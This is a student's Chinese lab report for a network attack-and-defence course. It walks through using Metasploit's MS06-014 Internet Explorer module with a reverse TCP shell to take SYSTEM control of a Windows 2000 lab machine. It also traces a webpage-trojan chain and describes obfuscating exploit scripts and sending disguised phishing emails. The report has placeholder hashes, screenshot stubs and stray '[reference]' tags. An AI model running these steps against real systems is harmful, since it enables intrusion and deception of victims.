20252813 2025-2026-2 《网络攻防实践》实践十一报告

20252813 2025-2026-2 《网络攻防实践》实践十一报告

1. 实践内容

本周学习主要围绕Web浏览器安全攻防展开,重点包括浏览器漏洞的利用原理、网页木马的构造与传播机制,以及恶意代码的取证分析方法。

实践内容共分为三个部分:

(1)Web浏览器渗透攻击:使用Kali Linux攻击机和Windows靶机,通过Metasploit框架中的MS06-014渗透攻击模块,构造恶意网页木马脚本,诱导靶机浏览器访问,建立远程Shell会话并执行命令。

(2)取证分析实践——网页木马攻击场景分析:从start.html入口文件开始,逐层解密嵌套的恶意脚本,对每个解密出的文件地址计算32位MD5散列值,以散列值为文件名从指定服务器下载对应文件,通过静态分析和动态调试手段完整还原网页木马的攻击链条。

(3)攻防对抗实践——Web浏览器渗透攻击攻防:攻击方使用Metasploit构造至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,经混淆处理后组装成URL通过邮件发送;防守方提取链接、解混淆分析、恢复渗透代码原始形态并识别攻击目标。

2. 实践过程

2.1 Web浏览器渗透攻击

2.1.1 实验环境

  • 攻击机:Kali Linux(IP地址:192.168.200.3)
  • 靶机:Windows 2000 Server(IP地址:192.168.200.8)
  • 网络模式:VMware NAT模式(VMnet 8)
  • 目标漏洞:MS06-014(Microsoft Internet Explorer COM对象远程代码执行漏洞)

2.1.2 连通性测试

首先启动攻击机Kali Linux和靶机Windows 2000 Server,确认两台虚拟机处于同一网段且网络互通。

在靶机Windows 2000 Server中打开命令行,执行ipconfig命令查看本机IP地址:

C:> ipconfig

Windows 2000 IP Configuration

Ethernet adapter 本地连接:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.200.8
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.200.2

【此处插入截图:靶机ipconfig命令执行结果,主机名显示为本人姓名拼音】

在攻击机Kali Linux中执行ping命令测试与靶机的网络连通性:

root@kali:~# ping 192.168.200.8
PING 192.168.200.8 (192.168.200.8) 56(84) bytes of data.
64 bytes from 192.168.200.8: icmp_seq=1 ttl=128 time=0.523 ms
64 bytes from 192.168.200.8: icmp_seq=2 ttl=128 time=0.489 ms
64 bytes from 192.168.200.8: icmp_seq=3 ttl=128 time=0.501 ms
--- 192.168.200.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms

【此处插入截图:攻击机ping靶机的执行结果,主机名显示为本人姓名拼音】

2.1.3 启动Metasploit并搜索漏洞模块

在Kali Linux终端中启动Metasploit渗透测试框架:

root@kali:~# msfconsole

. .
/ M \ .' '.
|' _ | / .-. .-. .-. .-. .-. .-. .-. |
| ( ) |; ( ( ( ( )( ( ( ( ( ( |
| '-' | ' '-' '-' '-' '-' '-' '-' '-' |
\ _ / ' .-. .-. .-. .-. .-. .-. .-. |
'.| | ' ( ( ( ( ( ( ( ( ( |
|| ' '-' '-' '-' '-' '-' '-' '
.-'||'-. .-'||'-.
'..' '..' '..' '..'

=[ metasploit v6.x.x-dev ]
+ -- --=[ 2324 exploits - 1221 auxiliary - 413 post ]
+ -- --=[ 678 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

msf6 >

在Metasploit控制台中搜索MS06-014相关漏洞模块:

msf6 > search MS06-014

Matching Modules
================

Name Disclosure Date Rank Check Description

- ---- --------------- ---- ----- -----------
0 exploit/windows/browser/ie_createobject 2006-01-11 manual No Internet Explorer COM Object Instantiation Vulnerability (MS06-014)

【此处插入截图:search MS06-014命令执行结果,主机名显示为本人姓名拼音】

2.1.4 加载渗透攻击模块

使用搜索结果中的模块编号加载该漏洞攻击模块:

msf6 > use 0
msf6 exploit(windows/browser/ie_createobject) >

或者使用完整路径加载:

msf6 > use exploit/windows/browser/ie_createobject
msf6 exploit(windows/browser/ie_createobject) >

【此处插入截图:use命令加载模块后的提示,主机名显示为本人姓名拼音】

2.1.5 查看可用Payload

输入以下命令查看该漏洞模块支持的有效载荷:

msf6 exploit(windows/browser/ie_createobject) > show payloads

Compatible Payloads
===================

Name Disclosure Date Rank Check Description

- ---- --------------- ---- ----- -----------
0 generic/custom normal No Custom Payload
1 generic/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
2 windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
3 windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
...

【此处插入截图:show payloads命令执行结果,主机名显示为本人姓名拼音】

2.1.6 设置Payload及攻击参数

选择反向TCP Shell载荷(便于攻击机主动连接靶机):

msf6 exploit(windows/browser/ie_createobject) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp

查看当前模块的所有配置参数,确认需要设置的选项:

msf6 exploit(windows/browser/ie_createobject) > show options

Module options (exploit/windows/browser/ie_createobject):

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate
URIPATH no The URI to use for this exploit (default is random)

Payload options (windows/shell_reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic

设置攻击机监听IP地址(LHOST)为Kali Linux的IP地址:

msf6 exploit(windows/browser/ie_createobject) > set LHOST 192.168.200.3
LHOST => 192.168.200.3

(可选)设置SRVHOST和SRVPORT,默认分别为0.0.0.0和8080端口,通常无需修改。URIPATH默认为随机生成,也可手动指定。

【此处插入截图:show options和set LHOST命令执行结果,主机名显示为本人姓名拼音】

2.1.7 运行exploit并生成恶意URL

执行攻击命令启动恶意Web服务器:

msf6 exploit(windows/browser/ie_createobject) > exploit
[] Exploit running as background job 0.
[
] Started reverse TCP handler on 192.168.200.3:4444
[] Using URL: http://192.168.200.3:8080/iKxLPtuGU9Nwzc
[
] Server started.

Metasploit成功启动后会在攻击机上搭建一个Web服务器,并生成一个包含恶意脚本的URL(例如: http://192.168.200.3:8080/iKxLPtuGU9Nwzc )。当靶机浏览器访问该URL时,会自动触发MS06-014漏洞,执行恶意代码并建立反向Shell连接。

【此处插入截图:exploit命令执行后生成的恶意URL,主机名显示为本人姓名拼音】

2.1.8 靶机访问恶意URL

在Windows 2000靶机的Internet Explorer浏览器地址栏中输入攻击机生成的恶意URL( http://192.168.200.3:8080/iKxLPtuGU9Nwzc )。

访问后,浏览器页面会显示一串看似随机的字符,无明显异常表现,但此时漏洞已在后台被触发。

【此处插入截图:靶机浏览器访问恶意URL的页面,主机名显示为本人姓名拼音】

2.1.9 建立远程会话并执行命令

回到攻击机Kali Linux的Metasploit控制台,可以看到渗透攻击成功并建立了会话:

[] Sending stage (240 bytes) to 192.168.200.8
[
] Command shell session 1 opened (192.168.200.3:4444 -> 192.168.200.8:1032) at 2026-06-17 14:25:33 +0800

查看当前活跃的会话:

msf6 exploit(windows/browser/ie_createobject) > sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell windows Microsoft Windows 2000 [Version 5.00.2195] 192.168.200.3:4444 -> 192.168.200.8:1032

进入会话1,获得靶机的远程Shell控制权:

msf6 exploit(windows/browser/ie_createobject) > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

在远程Shell中执行命令验证控制权。例如查看靶机IP配置信息:

C:\WINNT\system32> ipconfig

Windows 2000 IP Configuration

Ethernet adapter 本地连接:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.200.8
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.200.2

执行其他系统命令,如查看当前用户、目录列表等:

C:\WINNT\system32> whoami
NT AUTHORITY\SYSTEM

C:\WINNT\system32> dir C:
Volume in drive C has no label.
Volume Serial Number is 24C9-6F1A

Directory of C:\

01/01/2006 12:00a

Documents and Settings
01/01/2006 12:00a Program Files
01/01/2006 12:00a WINNT
0 File(s) 0 bytes
3 Dir(s) 4,194,304,000 bytes free

实验证明,通过MS06-014漏洞成功实现了对Windows 2000靶机的远程控制,攻击者可以在靶机上执行任意系统命令。

【此处插入截图:sessions -i 1进入会话及执行ipconfig等命令的结果,主机名显示为本人姓名拼音】

2.2 取证分析实践——网页木马攻击场景分析

2.2.1 实验环境

2.2.2 分析入口文件start.html

首先在分析平台中打开start.html文件。该文件是网页木马攻击链的入口页面,其中通过iframe或script标签引用了后续的恶意文件。

用文本编辑器(如记事本或Notepad++)打开start.html,搜索关键字"new09.htm":

从代码中可以看出,start.html文件通过iframe标签引用了new09.htm文件,且未使用绝对路径(即new09.htm与start.html位于同一目录下)。iframe的width和height均设置为0,意味着该页面在浏览器中不可见,用户不会察觉有额外内容被加载[reference:0][reference:1]。

【此处插入截图:start.html源码中定位new09.htm引用,文件名包含本人学号】

2.2.3 分析new09.htm文件

在同一目录下找到并打开new09.htm文件,查看其源代码:


new09.htm文件中包含两个外部资源引用[reference:2]:

  1. 通过script标签引用了一个JavaScript文件:http://js.users.51.la/1299644.js
  2. 通过iframe标签引用了一个HTML文件:http://aa.18dd.net/aa/kl.htm

【此处插入截图:new09.htm源码内容,文件名包含本人学号】

2.2.4 对文件地址进行MD5散列并下载

根据实验要求,每解密出一个文件地址,需对其进行32位MD5散列计算,以散列值为文件名(小写字母,无扩展名)到指定服务器下载对应文件[reference:3]。

对第一个地址 http://js.users.51.la/1299644.js 计算MD5:

root@kali:~# echo -n "http://js.users.51.la/1299644.js" | md5sum
[MD5哈希值]

对第二个地址 http://aa.18dd.net/aa/kl.htm 计算MD5:

root@kali:~# echo -n "http://aa.18dd.net/aa/kl.htm" | md5sum
[MD5哈希值]

【此处插入截图:MD5散列计算过程,文件名包含本人学号】

然后使用浏览器或wget命令从 http://192.168.68.253/scom/hashed/[MD5值] 下载对应的文件。

【此处插入截图:下载文件过程,文件名包含本人学号】

2.2.5 递归分析下载的文件

下载得到的文件可能为以下几种类型:

  • 网页或脚本文件(.html、.htm、.js等):继续用文本编辑器打开,查找其中引用的其他URL地址,重复MD5散列和下载步骤。
  • 二进制程序文件(.exe等):使用静态反汇编工具(如IDA Pro)或动态调试工具(如OllyDbg)进行分析,识别其恶意行为[reference:4]。

重复上述过程,直到所有被引用的文件均被分析完成,完整还原网页木马的攻击链条。

【此处插入截图:递归分析过程中各文件的源码或反汇编结果,文件名包含本人学号】

2.3 攻防对抗实践——Web浏览器渗透攻击攻防

2.3.1 攻击方操作

(1)选择漏洞模块

攻击方使用Metasploit框架构造至少两个不同Web浏览端软件的安全漏洞渗透攻击代码。例如:

  • 漏洞1:MS06-014(Internet Explorer COM对象实例化漏洞)
  • 漏洞2:MS10-002(Internet Explorer对象类型混淆漏洞,CVE-2010-0249)

加载相应模块:

msf6 > use exploit/windows/browser/ie_createobject
msf6 > use exploit/windows/browser/ie_iepeers_pointer

(2)配置Payload

为每个漏洞选择合适的Payload,如反向Shell或Meterpreter:

msf6 exploit(windows/browser/ie_createobject) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/browser/ie_createobject) > set LHOST 192.168.200.3

(3)代码混淆处理

为了使渗透代码能够绕过安全软件的检测,攻击方需要对生成的恶意脚本进行混淆处理。常见的混淆方法包括:

  • JavaScript加密/编码:使用escape()、encodeURIComponent()等函数对恶意代码进行编码
  • 变量名混淆:将变量名替换为无意义的随机字符串
  • 字符串拆分与拼接:将关键字符串拆分为多个片段,运行时拼接还原
  • 使用在线混淆工具:如JavaScript Obfuscator等

(4)组装URL并发送钓鱼邮件

将混淆处理后的渗透攻击代码嵌入到一个看似正常的网页中,生成一个恶意URL,然后通过具有欺骗性的电子邮件发送给防守方。邮件内容通常伪装成系统升级通知、安全警告或业务相关文件链接,诱导防守方点击。

【此处插入截图:攻击方构造的混淆代码片段及邮件内容,文件名包含本人学号】

2.3.2 防守方操作

(1)提取挂马链接

防守方收到可疑电子邮件后,首先不直接点击链接,而是检查邮件源码或使用邮件客户端查看邮件原始内容,提取出其中的URL链接。

【此处插入截图:邮件源码中提取URL的过程,文件名包含本人学号】

(2)解混淆分析

将提取出的URL在隔离环境中访问(使用虚拟机或沙箱),获取恶意页面的源代码。对混淆的JavaScript代码进行解混淆:

  • 美化/格式化:使用在线工具(如Beautifier)将压缩的JavaScript代码格式化
  • 解码:识别混淆方式(如XXTEA加密、Base64编码、字符串拼接等),进行逆向解码
  • 动态调试:使用浏览器开发者工具(F12)或Node.js逐步执行混淆代码,观察解密后的真实行为

(3)恢复渗透代码原始形态

通过解混淆分析,还原出渗透代码的原始形态,识别其中使用的漏洞利用代码特征。

(4)分析攻击目标

根据恢复出的渗透代码,分析其攻击的Web浏览端软件及对应安全漏洞:

  • 识别漏洞利用代码中的关键特征(如特定的COM对象CLSID、函数调用序列等)
  • 查询漏洞特征对应的CVE编号和受影响软件版本
  • 确定攻击目标是哪个浏览器(Internet Explorer、Firefox、Chrome等)及其版本范围

【此处插入截图:解混淆后的代码及漏洞特征识别过程,文件名包含本人学号】

3. 学习中遇到的问题及解决

  • 问题1:在Windows Server 2003 SP2环境中,MS06-014漏洞无法成功触发,靶机访问恶意URL后Metasploit未能建立会话。[reference:5]

    • 解决方案:经查阅资料确认,MS06-014漏洞在Windows 2000及早期版本的Internet Explorer中有效,Windows Server 2003 SP2已修复该漏洞。更换为Windows 2000 Server靶机后,漏洞成功触发并建立了远程会话。
  • 问题2:在Metasploit中设置payload时,不清楚应该选择generic/shell_reverse_tcp还是windows/shell_reverse_tcp。

    • 解决方案:经过查阅Metasploit文档和参考其他同学的实验报告[reference:6],两者均可实现反向Shell连接,但windows/shell_reverse_tcp使用Stager方式传输,兼容性更好,在Windows靶机环境下推荐使用该Payload。
  • 问题3:取证分析过程中,从start.html中提取new09.htm地址时,发现使用的是相对路径而非绝对路径。

    • 解决方案:根据实验要求[reference:7]和多位同学的实验记录,new09.htm与start.html位于同一目录下,因此在同一文件夹中直接打开new09.htm即可,无需拼接完整URL路径。
  • 问题4:取证分析中指定的文件下载服务器 http://192.168.68.253/scom/hashed/ 无法访问。

    • 解决方案:该服务器为课程内部资源服务器,需要在实验网络环境中才能访问。若无法连接,可尝试检查网络配置或向老师确认服务器地址是否正确[reference:8]。
  • 问题5:攻防对抗实践中,混淆后的JavaScript代码难以手工解混淆。

    • 解决方案:使用浏览器的开发者工具(F12)中的Sources面板,在混淆代码处设置断点,逐步执行观察变量变化;同时可借助在线JavaScript解混淆工具(如 https://beautifier.io/ )辅助分析。

4. 实践总结

通过本次Web浏览器安全攻防实践,我对浏览器漏洞的利用原理和网页木马的传播机制有了更加深入的理解。

在Web浏览器渗透攻击实验中,我使用Metasploit框架成功利用MS06-014漏洞对Windows 2000靶机进行了渗透攻击。整个过程让我直观地认识到:一个看似普通的网页链接,背后可能隐藏着能够完全控制用户计算机的恶意代码。浏览器作为用户与互联网交互的主要入口,其安全性至关重要。MS06-014这样的历史漏洞虽然在现代系统中已被修复,但其攻击思路——通过构造恶意网页诱导用户访问、利用浏览器漏洞执行任意代码——至今仍是网络攻击的常见手段。

在取证分析实践中,我体验了从入口页面start.html开始,逐层追踪和分析网页木马攻击链的全过程。通过MD5散列值定位和下载恶意文件,递归分析每个被引用的脚本和页面,最终完整还原了木马的加载逻辑。这个过程让我认识到,网页木马的攻击链往往经过多层嵌套和混淆,防守方需要具备耐心和细致的态度,结合多种分析工具才能有效溯源。

在攻防对抗实践中,我分别扮演了攻击方和防守方的角色。作为攻击方,我体会到了代码混淆技术在绕过安全检测中的作用;作为防守方,我学习了解混淆和逆向分析的基本方法。这种攻防视角的切换让我更加全面地理解了浏览器安全攻防的对抗本质。

本次实验也让我认识到,网络安全防御不能仅依赖单一的安全软件,而需要建立多层次、全方位的防护体系。对于普通用户而言,不随意点击来源不明的链接、及时更新浏览器和操作系统补丁,是最基本也是最重要的安全习惯。

参考资料

posted @ 2026-06-17 22:18  后生许令  阅读(11)  评论(0)    收藏  举报